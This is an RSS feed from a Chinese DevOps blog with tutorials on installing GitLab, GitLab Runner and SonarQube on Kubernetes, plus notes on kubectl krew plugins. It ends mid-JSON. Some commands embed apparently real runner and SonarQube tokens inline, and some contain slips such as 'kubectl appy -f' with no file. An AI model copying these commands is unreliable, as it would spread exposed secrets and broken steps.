<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>伪架构师</title>
    <link>/</link>
      <atom:link href="/index.xml" rel="self" type="application/rss+xml" />
    <description>伪架构师</description>
    <generator>Source Themes Academic (https://sourcethemes.com/academic/)</generator><language>zh</language><lastBuildDate>Sat, 15 Mar 2025 10:55:23 +0800</lastBuildDate>
    <image>
      <url>/img/logo-wide.png</url>
      <title>伪架构师</title>
      <link>/</link>
    </image>
    
    <item>
      <title>在 Kubernetes 集群上部署 Gitlab Runner</title>
      <link>/courses/gitlab-notes/03-01-gitlab-runner-deployment/</link>
      <pubDate>Sun, 05 May 2019 00:00:00 +0100</pubDate>
      <guid>/courses/gitlab-notes/03-01-gitlab-runner-deployment/</guid>
      <description>&lt;p&gt;Gitlab Runner 和 Gitlab 主程序一样，提供了 Helm chart 用于进行安装，同样可以用 &lt;code&gt;helm fetch&lt;/code&gt; 下载 Chart 进行定制和渲染：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;helm fetch --untar gitlab/gitlab-runner
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;根据&lt;a href=&#34;https://docs.gitlab.com/runner/install/kubernetes.html&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;介绍，Runner 的安装有两个必要参数：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;gitlabUrl&lt;/code&gt;：Gitlab 的地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;runnerRegistrationToken&lt;/code&gt;：注册用的 Token。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外还有一个即将用到的重要参数：&lt;code&gt;runners.image&lt;/code&gt; 这个参数可以用来指定 Runner 的基础镜像，以满足不同环节中对 Runner 的需求。&lt;/p&gt;

&lt;p&gt;例如为了构建 Java 应用，我们创建一个 Maven 的 Runner。Gitlab 地址我们已经知道了，接下来获取一个 Token，用浏览器打开 &lt;code&gt;/admin/runners&lt;/code&gt;，可以查看：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/get-runner-token.png&#34; alt=&#34;runner-token&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我们使用这个 Token，创建一个基于 &lt;code&gt;maven:alpine&lt;/code&gt; 的 Runner：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ helm template gitlab-runner \
--namespace gitlab \
--name java \
--set gitlabUrl=&amp;quot;https://gitlab.microservice.rocks&amp;quot; \
--set runnerRegistrationToken=&amp;quot;xgX4QEt8gklFGSOFu0FURTzfvticEQmqaa3cnosMmoxc1nacYSIMBniRmBgACn19&amp;quot; \
--set rbac.create=true \
--set runners.image=&amp;quot;maven:alpine&amp;quot; \
--set runners.tags=&amp;quot;java\,maven&amp;quot; \
--set runners.privileged=true | kubectl appy -f
secret/java-gitlab-runner created
configmap/java-gitlab-runner created
serviceaccount/java-gitlab-runner created
deployment.extensions/java-gitlab-runner created
role.rbac.authorization.k8s.io/java-gitlab-runner created
rolebinding.rbac.authorization.k8s.io/java-gitlab-runner created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建成功之后，打开页面 &lt;code&gt;/admin/runners&lt;/code&gt;，会看到其中列出了我们新建的 Runner：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/list-runner.png&#34; alt=&#34;runner-token&#34; /&gt;&lt;/p&gt;

&lt;p&gt;点击 Runner ID，可以看到详细信息，也可以进行修改。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 Maven 运行单元测试</title>
      <link>/courses/gitlab-notes/03-02-unit-test/</link>
      <pubDate>Sun, 05 May 2019 00:00:00 +0100</pubDate>
      <guid>/courses/gitlab-notes/03-02-unit-test/</guid>
      <description>&lt;p&gt;Runner 运行起来之后，我们可以尝试建立一个项目，使用 Runner 来针对每次提交，运行一次单元测试。&lt;/p&gt;

&lt;p&gt;访问 &lt;code&gt;projects/new&lt;/code&gt; 创建一个新项目，命名为 &lt;code&gt;sample&lt;/code&gt;：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/new-project-sample.png&#34; alt=&#34;new project&#34; /&gt;&lt;/p&gt;

&lt;p&gt;创建完成之后，进入项目的主页面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/project-main.png&#34; alt=&#34;project main&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里点击 &lt;code&gt;clone&lt;/code&gt; 按钮，会看到弹出的项目 git 地址，我们使用这个地址对项目进行初始化。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ git clone git@gitlab.microservice.rocks:root/sample.git
正克隆到 &#39;sample&#39;...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
接收对象中: 100% (3/3), 完成.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里我们使用来自 &lt;a href=&#34;https://github.com/junit-team/junit5-samples/tree/master/junit5-jupiter-starter-maven&#34; target=&#34;_blank&#34;&gt;Junit 5 Sample&lt;/a&gt; 中的 Maven 示例来尝试 CI。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cd sample
$ wget https://github.com/junit-team/junit5-samples/archive/master.zip
...
$ unzip master
$ mv junit5-samples-master/junit5-jupiter-starter-maven/* .
$ rm master.zip
$ rm -Rf junit5-samples-master
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来创建如下内容的文件，命名为 &lt;code&gt;.gitlab-ci.yaml&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;stages:
  - scan
  - build
job unit:
  stage: scan
  tags:
    - maven
  script:
    - mvn test
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Git 添加并提交，返回浏览器，查看项目首页，会发现多出一行内容：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/commit-ci-line.png&#34; alt=&#34;project main&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这表示项目的 CICD 正在运行。稍候片刻，浏览 &lt;code&gt;root/sample/pipelines&lt;/code&gt;，会看到执行的 Pipeline 列表，我们最近的提交，Pipeline 结果已经显示为成功，点击后能够看到每个 Job 的执行记录：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/job-unit.png&#34; alt=&#34;job unit result&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如果我们修改一下测试案例 &lt;code&gt;src/test/java/com/example/project/CalculatorTests.java&lt;/code&gt;，把其中的 34 行修改为 1011 或者其它的错误结果，就会看到测试失败的情况。&lt;/p&gt;

&lt;p&gt;如果新建分支，并在分支中修复测试案例的话，会在 MR 中看到单元测试的结果，帮助管理员判断 Merge Request 的合并请求是否合理：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/mr-pipeline.png&#34; alt=&#34;merge request and pipeline&#34; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Gitlab 的部署</title>
      <link>/courses/gitlab-notes/01-gitlab-deployment/</link>
      <pubDate>Sun, 05 May 2019 00:00:00 +0100</pubDate>
      <guid>/courses/gitlab-notes/01-gitlab-deployment/</guid>
      <description>&lt;p&gt;Gitlab 提供了多种部署方式，包括 Docker、Kubernetes 和裸金属上直接安装等。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Gitlab 的容器支持</title>
      <link>/courses/gitlab-notes/02-gitlab-and-containers/</link>
      <pubDate>Thu, 13 Jun 2019 00:00:00 +0100</pubDate>
      <guid>/courses/gitlab-notes/02-gitlab-and-containers/</guid>
      <description>&lt;p&gt;身处容器时代，Gitlab 自然也提供了容器方面的支持，除了在 CI 中进行镜像构建之外，还提供了镜像库服务，此外也有 Kubernetes 插件用来在 Kubernetes 上进行部署。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 SonarQube 进行代码扫描</title>
      <link>/courses/gitlab-notes/03-03-code-scan/</link>
      <pubDate>Thu, 06 Jun 2019 00:00:00 +0100</pubDate>
      <guid>/courses/gitlab-notes/03-03-code-scan/</guid>
      <description>

&lt;p&gt;Gitlab 提供了&lt;a href=&#34;https://docs.gitlab.com/ee/ci/yaml/README.html#artifactsreportscodequality-starter&#34; target=&#34;_blank&#34;&gt;基于 &lt;code&gt;Code Climate&lt;/code&gt; 的代码质量评估&lt;/a&gt;功能，这一功能是通过 dind（Docker in Docker）方式运行的，在 Kubernetes 环境中、尤其是托管集群中，这种方式不太合适，还好还有一个替代方案：&lt;a href=&#34;https://www.sonarqube.org/&#34; target=&#34;_blank&#34;&gt;Sonarqube&lt;/a&gt;，通过在 &lt;code&gt;.gitlab-ci.yml&lt;/code&gt; 中的设置，可以使用 Sonarqube 对代码进行扫描，接收到 Commit 之后，Sonarqube 会生成针对提交的代码质量提示，如图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/sonar_global.jpg&#34; alt=&#34;Sonar Global&#34; /&gt;&lt;/p&gt;

&lt;p&gt;过程也并不复杂，简单的部署一个 SonarQube 服务，并在 Gitlab CI 中调用即可。&lt;/p&gt;

&lt;h2 id=&#34;配置-gitlab&#34;&gt;配置 Gitlab&lt;/h2&gt;

&lt;p&gt;这个步骤很简单，只要打开页面 &lt;code&gt;profile/personal_access_tokens&lt;/code&gt;，新建 Token 备用即可。&lt;/p&gt;

&lt;h2 id=&#34;启动-sonarqube&#34;&gt;启动 Sonarqube&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 环境中启用一个简单的 Sonarqube 服务器是很方便的，具体说明可以参看官方 &lt;a href=&#34;https://hub.docker.com/_/sonarqube&#34; target=&#34;_blank&#34;&gt;Docker 镜像的说明&lt;/a&gt;，这里有几个重点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;数据：该镜像内置 H2 存储，在生产环境中使用自然是不合适的，可以通过环境变量，使用外部的 MySQL 或者 PostgreSQL 服务器。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;持久化：该镜像的数据目录为 &lt;code&gt;/opt/sonarqube/&lt;/code&gt;，下面的 &lt;code&gt;data&lt;/code&gt;、&lt;code&gt;logs&lt;/code&gt;、&lt;code&gt;conf&lt;/code&gt; 和 &lt;code&gt;extensions&lt;/code&gt;，都是需要接入 PVC 进行持久化存储的。（就算只是测试，因为安装插件需要重启，因此也需要提供持久化支持）&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;权限：该镜像主进程是使用 999 的组 ID 运行的，因此需要进行配置。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;后续内容所用插件目前还无法支持 SonarQube 7.7，因此此处使用的是 7.6 版本。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;总结以上几点，列出代码中需要注意的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1beta1
kind: Deployment
metadata:
  name: sonarqube
  labels:
    app: sonarqube
spec:
...  
  template:
    metadata:
...
    spec:
      securityContext:
        fsGroup: 999
      containers:
      - name: sonarqube
        image: &amp;quot;sonarqube:7.6-community&amp;quot;
        imagePullPolicy: IfNotPresent
        ports:
        - name: http
          containerPort: 9000
        volumeMounts:
        - name: sonar-ext
          mountPath: /opt/sonarqube/extensions
        - name: sonar-data
          mountPath: /opt/sonarqube/data
        - name: sonar-log
          mountPath: /opt/sonarqube/logs
        - name: sonar-conf
          mountPath: /opt/sonarqube/conf
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;配置-sonarqube&#34;&gt;配置 Sonarqube&lt;/h2&gt;

&lt;p&gt;SonarQube 启动之后，使用缺省用户名和密码（&lt;code&gt;admin&lt;/code&gt;/&lt;code&gt;admin&lt;/code&gt;）登录之后，首先安装 Java 语言插件：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;在 &lt;code&gt;/account/security/&lt;/code&gt; 修改密码。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;前往 &lt;code&gt;/admin/marketplace&lt;/code&gt; 安装 &lt;code&gt;SonarJava&lt;/code&gt; 插件。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;打开路径 &lt;code&gt;/admin/system&lt;/code&gt;，重启服务。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来是手工安装 Gitlab 插件：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;使用 &lt;code&gt;kubectl exec -it&lt;/code&gt; 进入 SonarQube 的 Pod 中。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入 &lt;code&gt;/opt/sonarqube/extensions/plugins&lt;/code&gt; 路径，&lt;a href=&#34;https://github.com/gabrie-allaigre/sonar-gitlab-plugin/releases/download/4.1.0-SNAPSHOT/sonar-gitlab-plugin-4.1.0-SNAPSHOT.jar&#34; target=&#34;_blank&#34;&gt;下载插件&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;重启 Sonarqube。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;插件安装完成之后，&lt;code&gt;/projects/create&lt;/code&gt; 创建新项目，选择 &lt;code&gt;java&lt;/code&gt; -&amp;gt; &lt;code&gt;maven&lt;/code&gt;，最终会出现如下提示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/sonar-new-project.png&#34; alt=&#34;new project&#34; /&gt;&lt;/p&gt;

&lt;p&gt;其中包含了后续步骤所需要的 Token。&lt;/p&gt;

&lt;h2 id=&#34;配置-gitlab-插件&#34;&gt;配置 Gitlab 插件&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;打开 &lt;code&gt;admin/settings?category=gitlab&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;填写 &lt;code&gt;GitLab url&lt;/code&gt; 以及 &lt;code&gt;GitLab User Token&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;保存。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;配置项目-ci&#34;&gt;配置项目 CI&lt;/h2&gt;

&lt;p&gt;这部分相当简单的一行 Maven 命令，例如&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;stages:
  - test
  - scan
...
Sonar:
  stage: scan
  tags:
    - maven
  script:
    - mvn --batch-mode verify sonar:sonar -Dsonar.host.url=https://sonar.microservice.xyz -Dsonar.login=cd387c80d1d40b24c1000b9982778ecef572795c -Dsonar.projectKey=sam -Dsonar.gitlab.project_id=$CI_PROJECT_ID -Dsonar.gitlab.commit_sha=$CI_COMMIT_SHA -Dsonar.gitlab.ref_name=$CI_COMMIT_REF_NAME
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的关键参数：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;sonar.host.url：Sonarqube 的地址。&lt;/li&gt;
&lt;li&gt;sonar.login：Sonarqube 配置新项目时生成的 Token&lt;/li&gt;
&lt;li&gt;sonar.projectKey：Sonarqube 新项目生成的 ID。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;完成上述修改之后，就可以提交你的 Java 代码，看看 Sonarqube 在 Commit 下使用评论方式发表的代码分析结果。&lt;/p&gt;

&lt;h2 id=&#34;附录&#34;&gt;附录&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;插件项目地址：&lt;a href=&#34;https://github.com/gabrie-allaigre/sonar-gitlab-plugin/&#34; target=&#34;_blank&#34;&gt;https://github.com/gabrie-allaigre/sonar-gitlab-plugin/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 集群中安装 Gitlab</title>
      <link>/courses/gitlab-notes/01-01-gitlab-deployment-k8s/</link>
      <pubDate>Sun, 05 May 2019 00:00:00 +0100</pubDate>
      <guid>/courses/gitlab-notes/01-01-gitlab-deployment-k8s/</guid>
      <description>

&lt;h2 id=&#34;先决条件&#34;&gt;先决条件&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 中的安装，自然需要一个可以运行和管理的 Kubernetes 集群，首先创建一个 Namespace 用于 Gitlab 的安装运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl create ns gitlab
namespace/gitlab created
$ kubens gitlab
Context &amp;quot;mediumlab&amp;quot; modified.
Active namespace is &amp;quot;gitlab&amp;quot;.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;同时还要求该集群有如下能力：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;外网 Loadbalancer 支持&lt;/li&gt;
&lt;li&gt;镜像拉取&lt;/li&gt;
&lt;li&gt;Helm 访问&lt;/li&gt;
&lt;li&gt;StorageClass&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;helm-仓库&#34;&gt;Helm 仓库&lt;/h2&gt;

&lt;p&gt;Gitlab 官方提供了 Helm 仓库，添加地址之后就可以进行安装了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ helm repo add gitlab https://charts.gitlab.io/
&amp;quot;gitlab&amp;quot; has been added to your repositories
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Helm 安装一般有两种方式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;helm install&lt;/code&gt;：需要集群端安装 Tiller，直接完成安装。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;helm template&lt;/code&gt;：无需 Tiller 支持，用于生成最终的 YAML 安装文件。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里为了使用方便，我们选择第二种，生成模板的方式。&lt;/p&gt;

&lt;h2 id=&#34;tls&#34;&gt;TLS&lt;/h2&gt;

&lt;p&gt;为了提供 HTTPS 服务，不可避免的要使用 tls 的相关设置，Gitlab 给出了&lt;a href=&#34;https://docs.gitlab.com/charts/installation/tls.html&#34; target=&#34;_blank&#34;&gt;几个选项&lt;/a&gt;，本文使用两种：&lt;/p&gt;

&lt;h3 id=&#34;自行提供泛域名证书&#34;&gt;自行提供泛域名证书&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ helm repo update
Hang tight while we grab the latest from your chart repositories...
...Skip local chart repository
...
...Successfully got an update from the &amp;quot;gitlab&amp;quot; chart repository
...Successfully got an update from the &amp;quot;stable&amp;quot; chart repository
$ helm fetch --untar gitlab/gitlab
$ helm template gitlab \
--namespace gitlab \
--name core \
--set global.edition=ce \
--set certmanager.install=false \
--set global.ingress.configureCertmanager=false \
--set global.ingress.tls.secretName=xyz \
--set global.hosts.domain=microservice.xyz \
--set gitlab-runner.install=false &amp;gt; gitlab-install.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面列出的几个开关，解释如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;global.edition&lt;/code&gt;：Gitlab 分为 CE（社区版）和 EE（企业版）两个版本，这里仅涉及 CE 版本。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certmanager.install&lt;/code&gt;：使用固定证书，无需 &lt;code&gt;certmanager&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.ingress.tls.secretName&lt;/code&gt;：不用 certmanger 配置 Ingress。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.hosts.domain&lt;/code&gt;：主机域名，这里给出的是一个根域名，后续会生成形如 &lt;code&gt;gitlab.microservice.xyz&lt;/code&gt;、&lt;code&gt;registiry.microservice.xyz&lt;/code&gt; 形式的子域名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gitlab-runner.install=false&lt;/code&gt;：后续步骤中会单独安装 runner。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.ingress.tls.secretName=xyz&lt;/code&gt;：用于保存我们的泛域名证书。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;cert-manager-letsencrypt&#34;&gt;cert-manager + letsencrypt&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ helm template gitlab \
--namespace gitlab \
--name core \
--set global.edition=ce \
--set global.hosts.domain=microservice.rocks \
--set certmanager-issuer.email=&amp;quot;xampal@gmail.com&amp;quot; \
--set gitlab-runner.install=false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个参数很简单：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;global.hosts.domain&lt;/code&gt;：根域名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certmanager-issuer.email&lt;/code&gt;：签发者证书。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;用上述命令生成的安装清单，使用 &lt;code&gt;kubectl&lt;/code&gt; 即可完成安装。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f gitlab-le.yaml
...
poddisruptionbudget.policy/gitlab-gitaly created
poddisruptionbudget.policy/gitlab-gitlab-shell created
...

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;完成动作之后，可以通过 &lt;code&gt;ingress&lt;/code&gt;、&lt;code&gt;pods&lt;/code&gt; 的情况查看启动情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get ing -w
NAME            HOSTS                         ADDRESS   PORTS     AGE
core-minio      minio.microservice.rocks                80, 443   23s
core-registry   registry.microservice.rocks             80, 443   23s
core-unicorn    gitlab.microservice.rocks               80, 443   24s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;启动完成应该有几个结果：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;svc/Ingress 获得了地址。&lt;/li&gt;
&lt;li&gt;Pod 运行。&lt;/li&gt;
&lt;li&gt;PVC 全部绑定。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来就可以使用命令获取 &lt;code&gt;root&lt;/code&gt; 密码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get secret core-gitlab-initial-root-password -ojsonpath=&#39;{.data.password}&#39; | base64 --decode ; echo
O3ewqaXE...NjCTYVktYghmkodF0j1c
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;初始化&#34;&gt;初始化&lt;/h2&gt;

&lt;h3 id=&#34;输入-ssh-公钥&#34;&gt;输入 SSH 公钥&lt;/h3&gt;

&lt;p&gt;浏览器打开 &lt;code&gt;/profile/keys&lt;/code&gt;，在其中输入公钥内容即可。&lt;/p&gt;

&lt;h3 id=&#34;关闭-auto-devops&#34;&gt;关闭 Auto DevOps&lt;/h3&gt;

&lt;p&gt;浏览器打开 &lt;code&gt;/admin/application_settings/ci_cd&lt;/code&gt;，取消其中的 &lt;code&gt;Default to Auto DevOps pipeline for all projects&lt;/code&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Gitlab 持续集成</title>
      <link>/courses/gitlab-notes/03-gitlab-ci/</link>
      <pubDate>Sun, 05 May 2019 00:00:00 +0100</pubDate>
      <guid>/courses/gitlab-notes/03-gitlab-ci/</guid>
      <description>&lt;p&gt;Gitlab 除了基本的版本管理功能之外，还提供了很有用的持续集成能力，简单的在项目根目录中编写一段 &lt;code&gt;.gitlab-ci.yml&lt;/code&gt;，就能够让 Gitlab 按照其中的指示完成持续集成的工作。&lt;/p&gt;

&lt;p&gt;Gitlab CI/CD 是 Gitlab 的一个组件，它利用 Gitlab Runner 来执行具体的构建任务。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>View Secret</title>
      <link>/courses/krew/view-secret/</link>
      <pubDate>Tue, 02 Jul 2019 13:01:00 +0800</pubDate>
      <guid>/courses/krew/view-secret/</guid>
      <description>

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;这个插件可以方便的查看 Kubernetes 中的 Secret 内容。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;该插件中除了明确要求的 &lt;code&gt;jq&lt;/code&gt; 依赖之外，还要求 bash 版本高于 4.0。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;基本用法&#34;&gt;基本用法&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl view-secret default-token-2m68w
Multiple sub keys found. Specify another argument, one of:
-&amp;gt; ca.crt
-&amp;gt; namespace
-&amp;gt; token
$ kubectl view-secret default-token-2m68w namespace
default
$ kubectl view-secret default-token-2m68w token
eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tMm02OHciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWN
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;项目地址：&lt;code&gt;https://github.com/ahmetb/kubectl-extras&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Open Service</title>
      <link>/courses/krew/open-svc/</link>
      <pubDate>Tue, 02 Jul 2019 12:08:00 +0800</pubDate>
      <guid>/courses/krew/open-svc/</guid>
      <description>

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;这个插件的用途很是简单：在浏览器中打开指定 Service，和 &lt;code&gt;kubectl&lt;/code&gt; 的端口转发功能类似，可以协助进行一些简易的调试。&lt;/p&gt;

&lt;h2 id=&#34;基本用法&#34;&gt;基本用法&lt;/h2&gt;

&lt;h3 id=&#34;打开指定服务&#34;&gt;打开指定服务&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl open-svc httpbin
Starting to serve on 127.0.0.1:8001
Opening service/httpbin in the default browser...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;浏览器会打开一个网址：&lt;code&gt;http://127.0.0.1:8001/api/v1/namespaces/default/services/httpbin:http/proxy/&lt;/code&gt;。其中展示了 httpbin 服务的页面内容。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;项目地址：&lt;code&gt;https://github.com/superbrothers/kubectl-open-svc-plugin/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Ingress Nginx</title>
      <link>/courses/krew/ingress-nginx/</link>
      <pubDate>Fri, 28 Jun 2019 20:50:00 +0800</pubDate>
      <guid>/courses/krew/ingress-nginx/</guid>
      <description>

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;这个组件由 Nginx Ingress Controller 项目官方提供，可以在控制台和 Nginx Ingress Controller 进行交互。&lt;/p&gt;

&lt;h2 id=&#34;基本用法&#34;&gt;基本用法&lt;/h2&gt;

&lt;h3 id=&#34;安装-nginx-ingress-controller&#34;&gt;安装 Nginx Ingress Controller&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 部署 Deployment
$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/static/mandatory.yaml
Warning: kubectl apply should be used on resource created by either kubectl create --save-config or kubectl apply
namespace/ingress-nginx configured
configmap/nginx-configuration created
...
$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/static/provider/cloud-generic.yaml
service/ingress-nginx created
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;查看-ingress-后端服务&#34;&gt;查看 Ingress 后端服务&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;kubectl ingress-nginx backends&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;[
  {
    &amp;quot;name&amp;quot;: &amp;quot;upstream-default-backend&amp;quot;,
    &amp;quot;port&amp;quot;: 0,
    &amp;quot;secureCACert&amp;quot;: {
      &amp;quot;secret&amp;quot;: &amp;quot;&amp;quot;,
      &amp;quot;caFilename&amp;quot;: &amp;quot;&amp;quot;,
      &amp;quot;pemSha&amp;quot;: &amp;quot;&amp;quot;
    },
    &amp;quot;sslPassthrough&amp;quot;: false,
    &amp;quot;endpoints&amp;quot;: [
      {
        &amp;quot;address&amp;quot;: &amp;quot;127.0.0.1&amp;quot;,
        &amp;quot;port&amp;quot;: &amp;quot;8181&amp;quot;
      }
    ],
    &amp;quot;sessionAffinityConfig&amp;quot;: {
      &amp;quot;name&amp;quot;: &amp;quot;&amp;quot;,
      &amp;quot;cookieSessionAffinity&amp;quot;: {
        &amp;quot;name&amp;quot;: &amp;quot;&amp;quot;
      }
    },
    &amp;quot;upstreamHashByConfig&amp;quot;: {},
